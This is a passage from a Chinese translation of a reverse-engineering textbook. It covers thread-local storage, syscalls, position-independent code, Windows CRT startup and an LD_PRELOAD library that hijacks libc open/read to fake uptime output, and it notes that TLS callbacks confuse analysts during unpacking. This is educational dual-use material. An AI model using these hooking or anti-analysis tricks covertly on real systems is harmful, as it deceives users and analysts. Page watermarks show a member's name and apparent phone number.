TTLLSS 线程本地存储(Thread Local Storage,TLS)是一种在线程内部共享数据的数据交换区域。每个线程都 可以在这个区域保存它们要在内部共享的数据。一个比较知名的例子是 C 语言的全局变量 errno。对于 errno 这类的全局变量来说,如果多线程进程的某一个线程对其进行了修改,那么这个变量就会影响到其他所有 的线程。这显然和实际需求相悖,因此全局变量 errno 必须保存在 TLS 中。 为解决这个矛盾,C++ 11 标准新增了一个限定符 thread_local。它能将指定变量和特定的线程联系起来。 由它限定的变量能被初始化,并且会被保存在 TLS 中。 指令清单 65.1 C++11 #include <iostream> #include <thread> thread_local int tmp=3; int main() { std::cout << tmp << std::endl; }; 接下来,我们使用 MinGW GCC 4.8.1 编译它,不要用 MSVC 2012 进行编译。 在分析可执行文件的 PE 头之后就会发现,变量 tmp 被分配到 TLS 专用的数据保存区域了。 65.1 线性同余发生器(改) 本书第 20 章展示的随机数生成函数其实有一个瑕疵:在多线程并发运行时,它是不安全的。原因在于: 它有一个内部的变量,它可能会同时被不同的线程读取或者修改。 65.1.1 Win32 系统 未初始化的 TLS 数据 我们可以给这种全局变量增加限定符__declspec(thread),这样它就能被分配到 TLS 中。请注意下 述代码的第 9 行。 1 #include <stdint.h> 2 #include <windows.h> 3 #include <winnt.h> 4 5 // from the Numerical Recipes book: 6 #define RNG_a 1664525 7 #define RNG_c 1013904223 8 9 __declspec( thread ) uint32_t rand_state; 10 11 void my_srand (uint32_t init) 12 { 13 rand_state=init; 14 } 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 65 章 线程本地存储 TLS 653 15 16 int my_rand () 17 { 18 rand_state=rand_state*RNG_a; 19 rand_state=rand_state+RNG_c; 20 return rand_state & 0x7fff; 21 } 22 23 int main() 24 { 25 my_srand(0x12345678); 26 printf ("%d\n", my_rand()); 27 }; 用 MSVC 2013 编译上述程序,再用 Hiew 打开最后生成的可执行文件。我们可以看到这种文件的 PE 部分出现了全新的 TLS 段: 指令清单 65.2 优化的 MSVC 2013 x86 _TLS SEGMENT _rand_state DD 01H DUP (?) _TLS ENDS _DATA SEGMENT $SG84851 DB '%d', 0aH, 00H _DATA ENDS _TEXT SEGMENT _init$ = 8 ; size = 4 _my_srand PROC ; FS:0=address of TIB mov eax, DWORD PTR fs:__tls_array ; displayed in IDA as FS:2Ch ; EAX=address of TLS of process mov ecx, DWORD PTR __tls_index mov ecx, DWORD PTR [eax+ecx*4] ; ECX=current TLS segment mov eax, DWORD PTR _init$[esp-4] mov DWORD PTR _rand_state[ecx], eax ret 0 _my_srand ENDP _my_rand PROC ; FS:0=address of TIB mov eax, DWORD PTR fs:__tls_array ; displayed in IDA as FS:2Ch ; EAX=address of TLS of process mov ecx, DWORD PTR __tls_index mov ecx, DWORD PTR [eax+ecx*4] ; ECX=current TLS segment imul eax, DWORD PTR _rand_state[ecx], 1664525 add eax, 1013904223 ; 3c6ef35fH mov DWORD PTR _rand_state[ecx], eax and eax, 32767 ; 00007fffH ret 0 _my_rand ENDP _TEXT ENDS 参数 rand_state 现在是位于 TLS 段中。此后每个线程都会拥有各自的 rand_state 。这里表示的是如何 寻址:从 FS:2Ch 调用线程信息块(Thread Information Block,TIB)的地址。如果需要,再增加一个额外 的索引,最后再计算 TLS 段的地址。 这种程序的线程可以通过 ECX 寄存器访问各自的 rand_state 变量,因为该变量在各个线程的地址不再 相同。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 654 逆向工程权威指南(下册) FS 段选择器并不陌生。它其实就是 TIB 的专用指针,用于提高线程数据的加载速度。 GS 段选择器是 Win64 程序使用的额外的索引寄存器。 在下面这个程序里,TLS 的地址是 0x58。 指令清单 65.3 优化的 MSVC 2013(64 位) _TLS SEGMENT rand_state DD 01H DUP (?) _TLS ENDS _DATA SEGMENT $SG85451 DB '%d', 0aH, 00H _DATA ENDS _TEXT SEGMENT init$ = 8 my_srand PROC mov edx, DWORD PTR _tls_index mov rax, QWORD PTR gs:88 ; 58h mov r8d, OFFSET FLAT:rand_state mov rax, QWORD PTR [rax+rdx*8] mov DWORD PTR [r8+rax], ecx ret 0 my_srand ENDP my_rand PROC mov rax, QWORD PTR gs:88 ; 58h mov ecx, DWORD PTR _tls_index mov edx, OFFSET FLAT:rand_state mov rcx, QWORD PTR [rax+rcx*8] imul eax, DWORD PTR [rcx+rdx], 1664525 ; 0019660dH add eax, 1013904223 ; 3c6ef35fH mov DWORD PTR [rcx+rdx], eax and eax, 32767 ; 00007fffH ret 0 my_rand ENDP _TEXT ENDS 初始化的 TLS 数据 编程人员通常会想给变量 rand_state 设置一个固定的初始值,以防后期忘记对它进行初始化。如下述 代码第 9 行所示,我们对它进行初始化赋值。 1 #include <stdint.h> 2 #include <windows.h> 3 #include <winnt.h> 4 5 // from the Numerical Recipes book: 6 #define RNG_a 1664525 7 #define RNG_c 1013904223 8 9 __declspec( thread ) uint32_t rand_state=1234; 10 11 void my_srand (uint32_t init) 12 { 13 rand_state=init; 14 } 15 16 int my_rand () 17 { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 65 章 线程本地存储 TLS 655 18 rand_state=rand_state*RNG_a; 19 rand_state=rand_state+RNG_c; 20 return rand_state & 0x7fff; 21 } 22 23 int main() 24 { 25 printf ("%d\n", my_rand()); 26 }; 以上的代码看起来并没有什么不同,但是在 IDA 下我们可以发现: .tls:00404000 ; Segment type: Pure data .tls:00404000 ; Segment permissions: Read/Write .tls:00404000 _tls segment para public 'DATA' use32 .tls:00404000 assume cs:_tls .tls:00404000 ;org 404000h .tls:00404000 TlsStart db 0 ; DATA XREF: .rdata:TlsDirectory .tls:00404001 db 0 .tls:00404002 db 0 .tls:00404003 db 0 .tls:00404004 dd 1234 .tls:00404008 TlsEnd db 0 ; DATA XREF: .rdata:TlsEnd_ptr ... 我们要关注的是这里显示的数 1234。每当启动新的线程时,它都会分配一个新的 TLS 段。此后,包 括 1234 在内的所有数据都会被复制到新建都 TLS 段。 一个典型的应用场景是:  启动线程 A,系统同期创建该线程专用的 TLS,并将变量 rand_state 赋值为 1234。  此后,线程 A 多次调用 my_rand()函数,rand_state 变量的值不再会是初始值 1234。  另行启动线程 B,系统同期创建该线程专用的 TLS,变量 rand_state 也会被赋值为 1234。也就是 说,在线程 A 和线程 B 里,同名变量会有不同的值。 TLS 回调 如果 TLS 中的变量必须填充为某些数据,并且是以某些不寻常的方式进行的话,该怎么办呢?比如说, 我们有以下的这个任务:编程人员忘记调用 my_srand()函数来初始化随机数发生器(PRNG),而随机数发 生器只有在正确初始化之后才会生成真实意义上的随机数,而不是 1234 这样的固定值。在这种情况下,可 以采用 TLS 回调。 在采用这种 hack 之后,本例代码的可移植性(通用性)就变差了。毕竟,本例只是一个演示性质的敲 门砖而已。它只是构造一个在进程/线程启动前就被系统调用的回调函数(tls_callback())。这个回调函数用 GetTickCount()函数的返回值来初始化随机数发生器(PRNG)。 #include <stdint.h> #include <windows.h> #include <winnt.h> // from the Numerical Recipes book: #define RNG_a 1664525 #define RNG_c 1013904223 __declspec( thread ) uint32_t rand_state; void my_srand (uint32_t init) { rand_state=init; } void NTAPI tls_callback(PVOID a, DWORD dwReason, PVOID b) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 656 逆向工程权威指南(下册) { my_srand (GetTickCount()); } #pragma data_seg(".CRT$XLB") PIMAGE_TLS_CALLBACK p_thread_callback = tls_callback; #pragma data_seg() int my_rand () { rand_state=rand_state*RNG_a; rand_state=rand_state+RNG_c; return rand_state & 0x7fff; } int main() { // rand_state is already initialized at the moment (using GetTickCount()) printf ("%d\n", my_rand()); }; 我们在 IDA 中查看一下,代码如下所示。 指令清单 65.4 优化的 MSVC 2013 .text:00401020 TlsCallback_0 proc near ; DATA XREF: .rdata:TlsCallbacks .text:00401020 call ds:GetTickCount .text:00401026 push eax .text:00401027 call my_srand .text:0040102C pop ecx .text:0040102D retn 0Ch .text:0040102D TlsCallback_0 endp ... .rdata:004020C0 TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: .rdata:TlsCallbacks_ptr ... .rdata:00402118 TlsDirectory dd offset TlsStart .rdata:0040211C TlsEnd_ptr dd offset TlsEnd .rdata:00402120 TlsIndex_ptr dd offset TlsIndex .rdata:00402124 TlsCallbacks_ptr dd offset TlsCallbacks .rdata:00402128 TlsSizeOfZeroFill dd 0 .rdata:0040212C TlsCharacteristics dd 300000h 在解压过程中使用 TLS 回调函数,可起到混淆视听的作用。经验不足的分析人员通常会感到晕头转向, 无法在分析原始入口/OEP 之前就已经运行的回调函数。 65.1.2 Linux 系统 我们来看看在 GCC 下是如何定义线程本地的全局变量的: __thread uint32_t rand_state=1234; 当然,这不是标准的 C/C++修饰符,而是 GCC 的专用修饰符。 GS 段选择器也常用于 TLS 寻址,但是 Linux 的实现方法和 Windows 略有不同。 指令清单 65.5 x86 下的优化 GCC 4.8.1 .text:08048460 my_srand proc near .text:08048460 .text:08048460 arg_0 = dword ptr 4 .text:08048460 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 65 章 线程本地存储 TLS 657 .text:08048460 mov eax, [esp+arg_0] .text:08048464 mov gs:0FFFFFFFCh, eax .text:0804846A retn .text:0804846A my_srand endp .text:08048470 my_rand proc near .text:08048470 imul eax, gs:0FFFFFFFCh, 19660Dh .text:0804847B add eax, 3C6EF35Fh .text:08048480 mov gs:0FFFFFFFCh, eax .text:08048486 and eax, 7FFFh .text:0804848B retn .text:0804848B my_rand endp 更多的信息可以查看参考书目 Dre13。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6666 章 章 系 系统 统调 调用 用( (ssyyssccaallll--ss) ) 我们都知道,所有在操作系统中运行的进程可以分成两类:一类进程对具有硬件的全部访问权限,运 行于内核空间(kernel space);另一类进程不能直接访问硬件地址,运行于用户空间(user space)。 操作系统的内核以及常规的驱动程序都运行于内核空间。普通的应用程序通常运行于用户空间。 具体来说,Linux 的内核运行于空间;而 Glibc(底层 API)则运行于空间。 这两种空间的隔离措施对于操作系统的安全性至关重要。若没有隔离措施,所有程序都可以干扰其他 进程甚至破坏操作系统的内核。另一方面来看,即使实现了两种空间的隔离措施,一旦运行于内核空间的 驱动程序发生错误、或者是操作系统的内核组件存在问题,整个内核照样会崩溃甚至发生 BSOD(Black Screen of Death)的“蓝天白云”故障。 虽然 x86 CPU 引入了特权等级的概念,将进程权限分为 ring0~ring3,但是 Linux 和 Windows 只使用 了其中的 2 个级别控制进程权限:ring0(内核空间)和 ring3(用户空间)。 由操作系统提供的系统调用(syscall)构成了 ring0 和 ring 3 之间的访问机制。可以说,系统调用就是 操作系统为应用程序提供的应用编程接口 API。 而在 Windows NT 环境下,系统调用表位于系统服务分配表 SSDT(System Service Dispatch Table)。 计算机病毒以及 shellcode 大多都会利用系统调用。这是因为系统库函数的寻址过程十分麻烦,而直接 调用系统调用却相对简单。虽然系统调用的访问过程并不麻烦,但是由于系统调用本身属于底层 API,因 此直接使用系统调用的程序也不好写。另外需要注意的是:系统调用的总数由操作系统和系统版本两个因 素共同决定的。 66.1 Linux Linux 程序通常通过 80 号中断/INT 80 调用系统调用。在调用系统调用时,程序应当通过 EAX 寄存器 指定被调用函数的编号,再使用其他寄存器声明系统调用的参数。 指令清单 66.1 使用两次系统调用 syscall 的简单例子 section .text global _start _start: mov edx,len ; buffer len mov ecx,msg ; buffer mov ebx,1 ; file descriptor. 1 is for stdout mov eax,4 ; syscall number. 4 is for sys_write int 0x80 mov eax,1 ; syscall number. 4 is for sys_exit int 0x80 section .data msg db 'Hello, world!',0xa len equ $ - msg 编译指令如下所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 66 章 系统调用(syscall-s) 659 nasm -f elf32 1.s ld 1.o 完整的 Linux 系统调用列表可以参考:http://go.yurichev.com/17319。 如需截获或追踪 Linux 系统调用的访问过程,可使用本书 71 章介绍的 strace 程序。 66.2 Windows Windows 程序可通过 0x2e 号中断/int 0x2e、或 x86 专用指令 SYSENTER 访问系统调用。 这里使用的中断数是 0x2e,或者采用 x86 下的特殊指令 SYSENTER。 完整的 Windows 系统调用列表可以参考:http://go.yurichev.com/17320。 进一步的阅读,可以参阅 Piotr Bania 编写的 Windows Syscall Shellcode 一书:http://go.yurichev. com/17321。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6677 章 章 LLiinnuuxx 67.1 位置无关的代码 在分析 Linux 共享库文件(扩展名是 so)时,我们经常会遇到具有下述特征的指令代码: 指令清单 67.1 x86 下的 libc-2.17.so .text:0012D5E3 __x86_get_pc_thunk_bx proc near ; CODE XREF: sub_17350+3 .text:0012D5E3 ; sub_173CC+4 ... .text:0012D5E3 mov ebx, [esp+0] .text:0012D5E6 retn .text:0012D5E6 __x86_get_pc_thunk_bx endp ... .text:000576C0 sub_576C0 proc near ; CODE XREF: tmpfile+73 ... .text:000576C0 push ebp .text:000576C1 mov ecx, large gs:0 .text:000576C8 push edi .text:000576C9 push esi .text:000576CA push ebx .text:000576CB call __x86_get_pc_thunk_bx .text:000576D0 add ebx, 157930h .text:000576D6 sub esp, 9Ch ... .text:000579F0 lea eax, (a__gen_tempname - 1AF000h)[ebx] ; "__gen_tempname" .text:000579F6 mov [esp+0ACh+var_A0], eax .text:000579FA lea eax, (a__SysdepsPosix - 1AF000h)[ebx] ; "../sysdeps/posix/tempname.c" .text:00057A00 mov [esp+0ACh+var_A8], eax .text:00057A04 lea eax, (aInvalidKindIn_ - 1AF000h)[ebx] ; "! \"invalid KIND in __gen_tempname\"" .text:00057A0A mov [esp+0ACh+var_A4], 14Ah .text:00057A12 mov [esp+0ACh+var_AC], eax .text:00057A15 call __assert_fail 所有字符串指针都被一些常数修正过,并且 相关函数都在开始的几条指令里重新调整 EBX 中的值。这 类指令称作“位置无关的代码 PIC(Position Independent Code)”。因为进程或对象会被操作系统的链接器 加载到任意内存地址,所以代码里的指令无法直接确定(hardcoded)绝对内存地址。 PIC 在早期的计算机系统中非常关键,而目前在没有虚拟内存支持的嵌入式系统中就更为重要了。 对于那些没有采用虚拟内存技术的嵌入式设备来说,所有进程都存放于一个连续的内存块中。PIC 至今 仍然用于*NIX 系统的共享目标库,因为不同进程可能会链接同一个共享库。库文件只会被操作系统加 载一次。当应用程序调用库时,直接把共享的地址复制过来。这种情况下,调用库函数的进程会被加载 到不同地址,而库文件的加载地址却固定不变。这些因素决定,共享库的库函数不得使用绝对地址(至 少对内部对象而言),否则就不能被多个进程同时调用。 我们来做一个简单的试验: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 67 章 Linux 661 #include <stdio.h> int global_variable=123; int f1(int var) { int rt=global_variable+var; printf ("returning %d\n", rt); return rt; }; 我们在 GCC 4.7.3 下编译一下,然后使用 IDA 打开编译后的.so 文件。 编译的命令行为: gcc -fPIC -shared -O3 -o 1.so 1.c 指令清单 67.2 GCC 4.7.3 .text:00000440 public __x86_get_pc_thunk_bx .text:00000440 __x86_get_pc_thunk_bx proc near ; CODE XREF: _init_proc+4 .text:00000440 ; deregister_tm_clones+4 ... .text:00000440 mov ebx, [esp+0] .text:00000443 retn .text:00000443 __x86_get_pc_thunk_bx endp .text:00000570 public f1 .text:00000570 f1 proc near .text:00000570 .text:00000570 var_1C = dword ptr -1Ch .text:00000570 var_18 = dword ptr -18h .text:00000570 var_14 = dword ptr -14h .text:00000570 var_8 = dword ptr -8 .text:00000570 var_4 = dword ptr -4 .text:00000570 arg_0 = dword ptr 4 .text:00000570 .text:00000570 sub esp, 1Ch .text:00000573 mov [esp+1Ch+var_8], ebx .text:00000577 call __x86_get_pc_thunk_bx .text:0000057C add ebx, 1A84h .text:00000582 mov [esp+1Ch+var_4], esi .text:00000586 mov eax, ds:(global_variable_ptr - 2000h)[ebx] .text:0000058C mov esi, [eax] .text:0000058E lea eax, (aReturningD - 2000h)[ebx] ; "returning %d\n" .text:00000594 add esi, [esp+1Ch+arg_0] .text:00000598 mov [esp+1Ch+var_18], eax .text:0000059C mov [esp+1Ch+var_1C], 1 .text:000005A3 mov [esp+1Ch+var_14], esi .text:000005A7 call ___printf_chk .text:000005AC mov eax, esi .text:000005AE mov ebx, [esp+1Ch+var_8] .text:000005B2 mov esi, [esp+1Ch+var_4] .text:000005B6 add esp, 1Ch .text:000005B9 retn .text:000005B9 f1 endp 上述代码的关键在于:每个函数都在启动之后调整了字符串"returning %d\n" 和 global_variable 的指针。 __x86_get_pc_thunk_bx()函数通过 EBX 返回一个指向自身的指针。而位于其后(偏移量 0x57C 处)的指令 再次对 ebx 进行了修正。这是一种获取 PC 指针(EIP)的取巧办法。 常数 0x1A84 是函数的启始地址与“全局偏移表(global offset table)GOT”和“过程链接表(Procedure Linkage Table)PLT”之间的地址差。在可执行文件中,GOT、PLT 都有各自的相应段(section)。全局变量 global_variable 的指针正好位于全局偏移量表 GOT 之后。为了便于我们理解偏移量和各表之间的关系,IDA 对显示的偏 异步社区会员 dearfuture(15918834820) 专享 尊重版权 662 逆向工程权威指南(下册) 移量进行了某种挑战。这部分的原始指令实际上是: .text:00000577 call __x86_get_pc_thunk_bx .text:0000057C add ebx, 1A84h .text:00000582 mov [esp+1Ch+var_4], esi .text:00000586 mov eax, [ebx-0Ch] .text:0000058C mov esi, [eax] .text:0000058E lea eax, [ebx-1A30h] EBX 寄存器存储着 GOT PLT 的指针(相应 section 的启始地址)。因此在计算全局变量 global_variable 的 指针时(该指针保存在 GOT 中),必须从 EBX 减去地址差,即常数 0xC。同理,在计算“returning %d\n” 的字符串指针时,必须从 EBX 减去 0x1A30。 实际上,AMD64 的指令集支持基于 RIP 的相对寻址就是为了简化 PIC 代码的操作。 然后,我们用同样版本的 GCC 把这段 C 代码编译为 64 位目标文件。 IDA 会在显示代码的时候隐藏那些基于 RIP 的寻址细节。因此,我们通过 objdump 查看汇编代码: 0000000000000720 <f1>: 720: 48 8b 05 b9 08 20 00 mov rax,QWORD PTR [rip+0x2008b9] # 200fe0 <_DYNAMIC+0x1d0> 727: 53 push rbx 728: 89 fb mov ebx,edi 72a: 48 8d 35 20 00 00 00 lea rsi,[rip+0x20] # 751 <_fini+0x9> 731: bf 01 00 00 00 mov edi,0x1 736: 03 18 add ebx,DWORD PTR [rax] 738: 31 c0 xor eax,eax 73a: 89 da mov edx,ebx 73c: e8 df fe ff ff call 620 <__printf_chk@plt> 741: 89 d8 mov eax,ebx 743: 5b pop rbx 744: c3 ret 我们来看看以上程序代码中的 RIP 后面的两个偏移量: ① 指令 0x720 处。0x2008b9 是该地址与全局变量 global_variable 之间的地址差。 ② 指令 0x72A 处。0x20 则是该地址与“returning %d”字符串指针之间的地址差。 可能读者也已经注意到了,经常进行地址重复计算会降低程序的执行效率(虽然在 64 位系统下可能会 表现稍好)。因此,注重性能的时候,最好采用使用静态链接的静态库。 67.1.1 Windows Windows 的 DLL 加载机制不是 PIC 机制。如果 Windows 加载器要把 DLL 加载到另外一个基地址,它 就会内存中对 DLL 进行“修补”处理(重定位技术),从而可以正确地处理所有符号地址。这就意味着多 个 Windows 进程无法在不同进程内存块的不同地址共享一份 DLL,因为每个被加载在内存里的实例只能访 问自己的地址空间。 67.2 在 Linux 下的 LD_PRELOAD Linux 程序可以加载其他动态库之前、甚至在加载系统库(例如 libc.so.6)之前加载自己的动态库。 借助这项功能,我们能够编写自定义的函数“替换”系统库中的同名函数。进一步说,劫持 time()、read()、 write()等系统函数并非难事。 接下来,我们以系统工具 uptime 为例进行演示。我们都知道,该应用可以显示计算机已经工作了多少时 间。借助另一款系统工具 strace 可知,uptime 通过/proc/uptime 文件获取计算机的工作时长: $ strace uptime ... open("/proc/uptime", O_RDONLY) = 3 lseek(3, 0, SEEK_SET) = 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 67 章 Linux 663 read(3, "416166.86 414629.38\n", 2047) = 20 ... 其实,/proc/uptime 并不是真正意义上的磁盘文件。它是由 Linux Kernel 产生的虚拟文件。这个文件具 有两项数值: $ cat /proc/uptime 416690.91 415152.03 查查维基百科,我们可以得到以下的信息: 第一项数值显示的是系统已经运行的总时长;第二项数值是计算机处于空闲状态的时间总和。这两 项数据都以秒为单位。 我们编写一个声明 open()、read()和 close()函数的自定义动态链接库。 首先要处理的就是 open()函数。它应能判断程序打开的文件是否是我们需要的文件。如果两者相 符,那么 open()函数就应当记录并返回文件描述符。接下来要处理的是 read()函数。read()函数应能判 断程序打开的是否是我们关注的文件描述符。如果两者相符,那么就用某些数据替代原有文件内容; 否则就调用 libc.so.6 里的原有函数。最后需要处理的是 close()函数,它应能正确关闭已经打开的外部 文件。 本例通过 dlopen()和 dlsym()函数获取同名函数在 libc.so.6 里的函数地址。虽然本例的确是要劫持系统 函数,但是也得将控制权交还给原来的“正牌”函数。 另外一方面,如果我们要劫持 strcmp()函数(字符串比较函数)、以此获取每组对比的字符串,那么我 们就得手写一个 strcpm()函数了,而无法继续调用原有函数。 这种劫持功能的程序源代码如下: #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <stdbool.h> #include <unistd.h> #include <dlfcn.h> #include <string.h> void *libc_handle = NULL; int (*open_ptr)(const char *, int) = NULL; int (*close_ptr)(int) = NULL; ssize_t (*read_ptr)(int, void*, size_t) = NULL; bool inited = false; _Noreturn void die (const char * fmt, ...) { va_list va; va_start (va, fmt); vprintf (fmt, va); exit(0); }; static void find_original_functions () { if (inited) return; libc_handle = dlopen ("libc.so.6", RTLD_LAZY); if (libc_handle==NULL) die ("can't open libc.so.6\n"); open_ptr = dlsym (libc_handle, "open"); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 664 逆向工程权威指南(下册) if (open_ptr==NULL) die ("can't find open()\n"); close_ptr = dlsym (libc_handle, "close"); if (close_ptr==NULL) die ("can't find close()\n"); read_ptr = dlsym (libc_handle, "read"); if (read_ptr==NULL) die ("can't find read()\n"); inited = true; } static int opened_fd=0; int open(const char *pathname, int flags) { find_original_functions(); int fd=(*open_ptr)(pathname, flags); if (strcmp(pathname, "/proc/uptime")==0) opened_fd=fd; // that's our file! record its file descriptor else opened_fd=0; return fd; }; int close(int fd) { find_original_functions(); if (fd==opened_fd) opened_fd=0; // the file is not opened anymore return (*close_ptr)(fd); }; ssize_t read(int fd, void *buf, size_t count) { find_original_functions(); if (opened_fd!=0 && fd==opened_fd) { // that's our file! return snprintf (buf, count, "%d %d", 0x7fffffff, 0x7fffffff)+1; }; // not our file, go to real read() function return (*read_ptr)(fd, buf, count); }; 我们用通用的动态库来编译它: gcc -fpic -shared -Wall -o fool_uptime.so fool_uptime.c –ldl 最后,我们通过 LD_PRELOAD 指令优先加载自定义的函数库: LD_PRELOAD='pwd'/fool_uptime.so uptime 上述指令的输出结果为: 01:23:02 up 24855 days, 3:14, 3 users, load average: 0.00, 0.01, 0.05 如果我们在系统的环境变量中设定了 LD_PRELOAD、让它指向我们自定义的动态链接库,那么所 有的进程都会在启动之前加载我们自定义的动态链接库。 更多例子请参阅: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 67 章 Linux 665 ① Very simple interception of the strcmp() (Yong Huang) : https://yurichev.com/mirrors/LD_PRELOAD/Yong%20Huang%20LD_PRELOAD.txt ② Fun with LD_PRELOAD (Kevin Pulo): https://yurichev.com/mirrors/LD_PRELOAD/lca2009.pdf。 ③ File functions interception for compression/decompression: ftp://metalab.unc.edu/pub/Linux/libs/compression 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6688 章 章 W Wiinnddoowwss NNTT 68.1 CRT (Win32) 所有程序都是从 main()函数开始执行的吗?事实并非如此。如果用 IDA 或者 HIEW 打开可执行文件, 我们可以看到原始入口 OEP(Original Entry Point)总是指向其他的一段代码。这些代码会在启动程序之前 进行一些维护和准备工作。这就是所谓的启动代码/startup-code 即 CRT 代码(C RunTime)。 在通过命令行指令启动程序的时候,main()函数通过外来数组获取启动参数及系统的环境变量。然而, 实际传递给程序的不是数组而是参数字符串。CRT 代码会根据空格对字符串进行切割。另外,CRT 代码还 会通过 envp 数组向 main()函数传递系统的环境变量。在 Win32 的 GUI 程序里,主函数变为了 WinMain(), 并且拥有自己的参数传递规格: int CALLBACK WinMain( _In_ HINSTANCE hInstance, _In_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow ); 上述参数同样是由 CRT 代码准备的。 在程序结束以后,主函数 main()会返回其退出代码。这个退出代码会被传递给 CRT 的 ExitProcess()函 数,作为后者的一个参数。 通常来说,不同的编辑器会有不同的 CRT 代码。 以下列出的是 MSVC 2008 特有的 CRT 代码: 1 ___tmainCRTStartup proc near 2 3 var_24 = dword ptr -24h 4 var_20 = dword ptr -20h 5 var_1C = dword ptr -1Ch 6 ms_exc = CPPEH_RECORD ptr -18h 7 8 push 14h 9 push offset stru_4092D0 10 call __SEH_prolog4 11 mov eax, 5A4Dh 12 cmp ds:400000h, ax 13 jnz short loc_401096 14 mov eax, ds:40003Ch 15 cmp dword ptr [eax+400000h], 4550h 16 jnz short loc_401096 17 mov ecx, 10Bh 18 cmp [eax+400018h], cx 19 jnz short loc_401096 20 cmp dword ptr [eax+400074h], 0Eh 21 jbe short loc_401096 22 xor ecx, ecx 23 cmp [eax+4000E8h], ecx 24 setnz cl 25 mov [ebp+var_1C], ecx 26 jmp short loc_40109A 27 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 667 28 29 loc_401096: ; CODE XREF: ___tmainCRTStartup+18 30 ; ___tmainCRTStartup+29 ... 31 and [ebp+var_1C], 0 32 33 loc_40109A: ; CODE XREF: ___tmainCRTStartup+50 34 push 1 35 call __heap_init 36 pop ecx 37 test eax, eax 38 jnz short loc_4010AE 39 push 1Ch 40 call _fast_error_exit 41 pop ecx 42 43 loc_4010AE: ; CODE XREF: ___tmainCRTStartup+60 44 call __mtinit 45 test eax, eax 46 jnz short loc_4010BF 47 push 10h 48 call _fast_error_exit 49 pop ecx 50 51 loc_4010BF: ; CODE XREF: ___tmainCRTStartup+71 52 call sub_401F2B 53 and [ebp+ms_exc.disabled], 0 54 call __ioinit 55 test eax, eax 56 jge short loc_4010D9 57 push 1Bh 58 call __amsg_exit 59 pop ecx 60 61 loc_4010D9: ; CODE XREF: ___tmainCRTStartup+8B 62 call ds:GetCommandLineA 63 mov dword_40B7F8, eax 64 call ___crtGetEnvironmentStringsA 65 mov dword_40AC60, eax 66 call __setargv 67 test eax, eax 68 jge short loc_4010FF 69 push 8 70 call __amsg_exit 71 pop ecx 72 73 loc_4010FF: ; CODE XREF: ___tmainCRTStartup+B1 74 call __setenvp 75 test eax, eax 76 jge short loc_401110 77 push 9 78 call __amsg_exit 79 pop ecx 80 81 loc_401110: ; CODE XREF: ___tmainCRTStartup+C2 82 push 1 83 call __cinit 84 pop ecx 85 test eax, eax 86 jz short loc_401123 87 push eax 88 call __amsg_exit 89 pop ecx 90 91 loc_401123: ; CODE XREF: ___tmainCRTStartup+D6 异步社区会员 dearfuture(15918834820) 专享 尊重版权 668 逆向工程权威指南(下册) 92 mov eax, envp 93 mov dword_40AC80, eax 94 push eax ; envp 95 push argv ; argv 96 push argc ; argc 97 call _main 98 add esp, 0Ch 99 mov [ebp+var_20], eax 100 cmp [ebp+var_1C], 0 101 jnz short $LN28 102 push eax ; uExitCode 103 call $LN32 104 105 $LN28: ; CODE XREF: ___tmainCRTStartup+105 106 call __cexit 107 jmp short loc_401186 108 109 110 $LN27: ; DATA XREF: .rdata:stru_4092D0 111 mov eax, [ebp+ms_exc.exc_ptr] ; Exception filter 0 for function 401044 112 mov ecx, [eax] 113 mov ecx, [ecx] 114 mov [ebp+var_24], ecx 115 push eax 116 push ecx 117 call __XcptFilter 118 pop ecx 119 pop ecx 120 121 $LN24: 122 retn 123 124 125 $LN14: ; DATA XREF: .rdata:stru_4092D0 126 mov esp, [ebp+ms_exc.old_esp] ; Exception handler 0 for function 401044 127 mov eax, [ebp+var_24] 128 mov [ebp+var_20], eax 129 cmp [ebp+var_1C], 0 130 jnz short $LN29 131 push eax ; int 132 call __exit 133 134 135 $LN29: ; CODE XREF: ___tmainCRTStartup+135 136 call __c_exit 137 138 loc_401186: ; CODE XREF: ___tmainCRTStartup+112 139 mov [ebp+ms_exc.disabled], 0FFFFFFFEh 140 mov eax, [ebp+var_20] 141 call __SEH_epilog4 142 retn 在程序的第 62 行、第 66 行和第 74 行我们分别可以看到的是 GetCommandLineA、setargv()和 setenvp() 这三个函数,从这三个函数的名称可以看出它们处理的分别是 argc、argv 和 envp 这三个全局变量。 最后,第 97 行的主函数 main()会获取这些外部参数。 CRT 中的函数名称通常都可以自然解释。例如第 35 行和第 54 行的 heap_init()和 ioinit()这两个函数。 堆的初始化操作是由 CRT 代码完成的。若在没有 CRT 代码的情况下调用内存分配函数 malloc(),就会 引发异常退出,并将看到下述错误代码: runtime error R6030 - CRT not initialized 在 C++程序中,CRT 代码还要在启动主函数 main()之前初始化全部全局对象。我们可以参考本书的 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 669 51.4.1 节。 主函数 main()返回的数值会传递给 cexit(),或者是在$LN32,随后会调用函数 doexit()。 下面一个问题是:我们有没有可能不采用 CRT 呢?这是有可能的,前提是您清楚地知道自己在做 什么。 我们可以通过 MSVC 的 Linker 程序的/ENTRY 选项设置程序的入口点。 比如下面的这个程序代码: #include <windows.h> int main() { MessageBox (NULL, "hello, world", "caption", MB_OK); }; 选用以下的命令行来编译: cl no_crt.c user32.lib /link /entry:main 上述指令最终生成一个大小为 2560 字节的可执行文件。该文件中具备标准的 PE 文件头,调用 MessageBox 的指令,其数据段声明了两个字符串,并从库文件 user32.dll 导入 MessageBox 函数。整个可 执行文件没有其他的内容了。 虽然这个程序确实可以正常运行,但是这种程序无法获取 WinMain()函数所需的 4 个参数。确切地说, 